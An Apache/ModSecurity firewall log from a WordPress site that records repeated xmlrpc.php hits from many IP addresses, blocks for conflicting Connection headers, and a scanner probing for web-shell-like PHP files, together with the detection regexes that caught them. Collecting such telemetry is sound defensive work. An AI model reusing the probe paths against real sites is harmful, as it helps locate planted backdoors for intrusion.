[Thu Apr 09 16:27:38.741940 2026] [:error] [pid 24927:tid 24939] [client 146.59.232.195:32806] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addi-jXObuzEuw8mNJuplwAAAQk"]
[Thu Apr 09 16:28:02.616550 2026] [:error] [pid 18477:tid 18483] [client 213.160.71.30:56884] [client 213.160.71.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 213.160.71.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addjEsDe826HlFeoLPJEdgAAAUQ"]
[Thu Apr 09 16:33:24.405707 2026] [:error] [pid 20837:tid 20859] [client 219.117.206.145:49490] [client 219.117.206.145] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 219.117.206.145, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addkVPSL71FHZkjrGzOzwwAAAZQ"]
[Thu Apr 09 16:40:08.422067 2026] [:error] [pid 24515:tid 24539] [client 84.201.130.79:45700] [client 84.201.130.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.201.130.79, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addl6K1OMnvM2fMnB1NV7AAAABQ"]
[Thu Apr 09 16:41:42.357754 2026] [:error] [pid 24624:tid 24639] [client 5.9.109.189:51800] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addmRu4Jn-WvK1ZBTvidAQAAAM0"]
[Thu Apr 09 16:50:54.297614 2026] [:error] [pid 24517:tid 24592] [client 159.223.103.141:59336] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addobnboYEn2ZFM_PS9ksQAAAJI"]
[Thu Apr 09 16:53:20.607710 2026] [:error] [pid 24515:tid 24529] [client 34.101.217.251:50990] [client 34.101.217.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.101.217.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addpAK1OMnvM2fMnB1NZiwAAAAo"]
[Thu Apr 09 16:55:45.230554 2026] [:error] [pid 24927:tid 24933] [client 5.189.168.141:52202] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addpkTXObuzEuw8mNJu4KAAAAQM"]
[Thu Apr 09 17:02:22.380273 2026] [:error] [pid 24517:tid 24597] [client 148.113.189.81:56484] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addrHnboYEn2ZFM_PS9mqwAAAJc"]
[Thu Apr 09 17:04:11.850419 2026] [:error] [pid 18477:tid 18499] [client 83.166.155.159:40264] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addri8De826HlFeoLPJThwAAAVQ"]
[Thu Apr 09 17:04:44.540075 2026] [:error] [pid 24515:tid 24522] [client 167.99.182.49:38112] [client 167.99.182.49] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.182.49, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addrrK1OMnvM2fMnB1NeWQAAAAM"]
[Thu Apr 09 17:12:06.953819 2026] [:error] [pid 24516:tid 24550] [client 45.227.163.112:46466] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addtZthW7vSS-UkeWCURzQAAAEM"]
[Thu Apr 09 17:13:02.758959 2026] [:error] [pid 24927:tid 24952] [client 161.97.171.174:60306] [client 161.97.171.174] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.97.171.174, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addtnjXObuzEuw8mNJvCoAAAARY"]
[Thu Apr 09 17:19:16.678667 2026] [:error] [pid 20837:tid 20843] [client 54.36.209.212:44756] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addvFPSL71FHZkjrGzO7uwAAAYQ"]
[Thu Apr 09 17:23:52.102444 2026] [:error] [pid 24927:tid 24950] [client 81.169.202.222:39180] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addwKDXObuzEuw8mNJvIOwAAARQ"]
[Thu Apr 09 17:28:16.443982 2026] [:error] [pid 18477:tid 18495] [client 85.128.143.131:46990] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addxMMDe826HlFeoLPJb5gAAAVA"]
[Thu Apr 09 17:32:06.450243 2026] [:error] [pid 24515:tid 24542] [client 103.110.84.178:44106] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addyFq1OMnvM2fMnB1NmWAAAABc"]
[Thu Apr 09 17:36:54.919527 2026] [:error] [pid 24927:tid 24953] [client 34.76.200.156:27022] [client 34.76.200.156] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.76.200.156, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "addzNjXObuzEuw8mNJvSeQAAARc"]
[Thu Apr 09 17:43:40.079346 2026] [:error] [pid 24927:tid 24933] [client 59.125.102.226:49014] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add0zDXObuzEuw8mNJvargAAAQM"]
[Thu Apr 09 17:56:09.192141 2026] [:error] [pid 24517:tid 24579] [client 139.99.61.38:40236] [client 139.99.61.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.99.61.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add3uXboYEn2ZFM_PS9tmgAAAIU"]
[Thu Apr 09 18:04:21.696664 2026] [:error] [pid 20837:tid 20855] [client 185.203.28.52:49520] [client 185.203.28.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.203.28.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add5pfSL71FHZkjrGzPFygAAAZA"]
[Thu Apr 09 18:08:35.489446 2026] [:error] [pid 18477:tid 18493] [client 5.101.50.197:52632] [client 5.101.50.197] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.101.50.197, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add6o8De826HlFeoLPJvTwAAAU4"]
[Thu Apr 09 18:10:47.986727 2026] [:error] [pid 24927:tid 24933] [client 159.203.177.184:35548] [client 159.203.177.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.177.184, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add7JzXObuzEuw8mNJvnkgAAAQM"]
[Thu Apr 09 18:14:02.856623 2026] [:error] [pid 24517:tid 24589] [client 185.225.22.51:44850] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add76nboYEn2ZFM_PS9vvwAAAI8"]
[Thu Apr 09 18:15:56.758905 2026] [:error] [pid 24515:tid 24532] [client 139.59.37.240:33126] [client 139.59.37.240] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 139.59.37.240, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add8XK1OMnvM2fMnB1N2IwAAAA0"]
[Thu Apr 09 18:17:13.065307 2026] [:error] [pid 24927:tid 24938] [client 13.235.96.22:48132] [client 13.235.96.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 13.235.96.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add8qTXObuzEuw8mNJvs7wAAAQg"]
[Thu Apr 09 18:28:57.126683 2026] [:error] [pid 24515:tid 24520] [client 146.190.84.203:59208] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add_aa1OMnvM2fMnB1N6qgAAAAE"]
[Thu Apr 09 18:31:25.633048 2026] [:error] [pid 24515:tid 24524] [client 144.202.29.51:44166] [client 144.202.29.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.202.29.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "add__a1OMnvM2fMnB1N7LgAAAAU"]
[Thu Apr 09 18:31:49.140714 2026] [:error] [pid 24624:tid 24635] [client 192.144.148.122:39200] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adeAFe4Jn-WvK1ZBTvi3lwAAAMk"]
[Thu Apr 09 18:32:30.516065 2026] [:error] [pid 24515:tid 24521] [client 157.245.6.105:49242] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeAPq1OMnvM2fMnB1N7mwAAAAI"]
[Thu Apr 09 18:36:33.904023 2026] [:error] [pid 18477:tid 18490] [client 164.132.207.73:49122] [client 164.132.207.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.132.207.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeBMcDe826HlFeoLPJ7CAAAAUs"]
[Thu Apr 09 18:44:07.974195 2026] [:error] [pid 24515:tid 24532] [client 77.68.115.185:39310] [client 77.68.115.185] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 77.68.115.185, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeC961OMnvM2fMnB1OAGgAAAA0"]
[Thu Apr 09 18:49:01.596073 2026] [:error] [pid 18477:tid 18492] [client 156.67.82.40:34424] [client 156.67.82.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 156.67.82.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeEHcDe826HlFeoLPKCaQAAAU0"]
[Thu Apr 09 18:50:28.236409 2026] [:error] [pid 20837:tid 20851] [client 167.99.240.84:53966] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeEdPSL71FHZkjrGzPPqAAAAYw"]
[Thu Apr 09 18:52:31.782978 2026] [:error] [pid 24927:tid 24939] [client 104.208.160.135:39610] [client 104.208.160.135] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.208.160.135, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeE7zXObuzEuw8mNJsEYAAAAQk"]
[Thu Apr 09 18:53:01.833744 2026] [:error] [pid 24515:tid 24523] [client 142.132.226.7:43576] [client 142.132.226.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 142.132.226.7, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeFDa1OMnvM2fMnB1ODsgAAAAQ"]
[Thu Apr 09 18:53:44.202308 2026] [:error] [pid 18477:tid 18488] [client 85.128.143.131:47862] [client 85.128.143.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeFOMDe826HlFeoLPKD_QAAAUk"]
[Thu Apr 09 19:02:06.290795 2026] [:error] [pid 18477:tid 18486] [client 146.59.232.195:53142] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeHLsDe826HlFeoLPKHjQAAAUc"]
[Thu Apr 09 19:17:20.871679 2026] [:error] [pid 20837:tid 20852] [client 43.164.195.17:37094] [client 43.164.195.17] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adeKwPSL71FHZkjrGzPUqQAAAY0"]
[Thu Apr 09 19:18:30.677881 2026] [:error] [pid 18477:tid 18494] [client 34.140.181.23:50827] [client 34.140.181.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.140.181.23, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeLBsDe826HlFeoLPKNKQAAAU8"]
[Thu Apr 09 19:30:13.185356 2026] [:error] [pid 63331:tid 63351] [client 185.199.223.39:44074] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeNxSbKfIYuVjWbE4U7fQAAAdI"]
[Thu Apr 09 19:31:35.828473 2026] [:error] [pid 18477:tid 18494] [client 212.54.229.15:48918] [client 212.54.229.15] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.54.229.15, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeOF8De826HlFeoLPKQwAAAAU8"]
[Thu Apr 09 19:31:49.022253 2026] [:error] [pid 63331:tid 63357] [client 104.37.191.206:39820] [client 104.37.191.206] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.191.206, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeOJSbKfIYuVjWbE4U8LAAAAdg"]
[Thu Apr 09 19:34:50.432774 2026] [:error] [pid 63331:tid 63356] [client 46.21.198.186:60182] [client 46.21.198.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.21.198.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeO2ibKfIYuVjWbE4U9SAAAAdc"]
[Thu Apr 09 19:41:26.892442 2026] [:error] [pid 24516:tid 24563] [client 103.110.84.178:33716] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeQZthW7vSS-UkeWCUorgAAAFA"]
[Thu Apr 09 19:47:45.986672 2026] [:error] [pid 24515:tid 24535] [client 81.169.202.222:51706] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeR4a1OMnvM2fMnB1OT6wAAABA"]
[Thu Apr 09 19:50:50.476066 2026] [:error] [pid 20837:tid 20854] [client 59.125.102.226:45544] [client 59.125.102.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 59.125.102.226, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adeSmvSL71FHZkjrGzPdrgAAAY8"]
[Thu Apr 09 19:51:09.085609 2026] [:error] [pid 24624:tid 24639] [client 20.234.89.162:8914] [client 20.234.89.162] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Ipv6.php"] [unique_id "adeSre4Jn-WvK1ZBTvjNawAAAM0"]
[Thu Apr 09 19:51:16.678752 2026] [:error] [pid 24624:tid 24646] [client 20.234.89.162:8933] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "adeStO4Jn-WvK1ZBTvjNeQAAANQ"]
[Thu Apr 09 19:51:17.293217 2026] [:error] [pid 63331:tid 63357] [client 20.234.89.162:8899] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "adeStSbKfIYuVjWbE4VHhgAAAdg"]
[Thu Apr 09 19:51:17.970643 2026] [:error] [pid 63331:tid 63348] [client 20.234.89.162:8902] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "adeStSbKfIYuVjWbE4VHiwAAAc8"]
[Thu Apr 09 19:51:18.762732 2026] [:error] [pid 18477:tid 18497] [client 20.234.89.162:8911] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Ipv6.php"] [unique_id "adeStsDe826HlFeoLPKUTQAAAVI"]
[Thu Apr 09 19:51:19.417868 2026] [:error] [pid 24515:tid 24519] [client 20.234.89.162:8929] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "adeSt61OMnvM2fMnB1OVywAAAAA"]
[Thu Apr 09 19:51:20.230291 2026] [:error] [pid 24927:tid 24942] [client 20.234.89.162:8950] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "adeSuDXObuzEuw8mNJsYAQAAAQw"]
[Thu Apr 09 19:51:20.821937 2026] [:error] [pid 18477:tid 18479] [client 20.234.89.162:8939] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "adeSuMDe826HlFeoLPKUTwAAAUA"]
[Thu Apr 09 19:51:21.692791 2026] [:error] [pid 24516:tid 24569] [client 20.234.89.162:8917] [client 20.234.89.162] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file-gertdxz.php"] [unique_id "adeSudhW7vSS-UkeWCUptQAAAFY"]
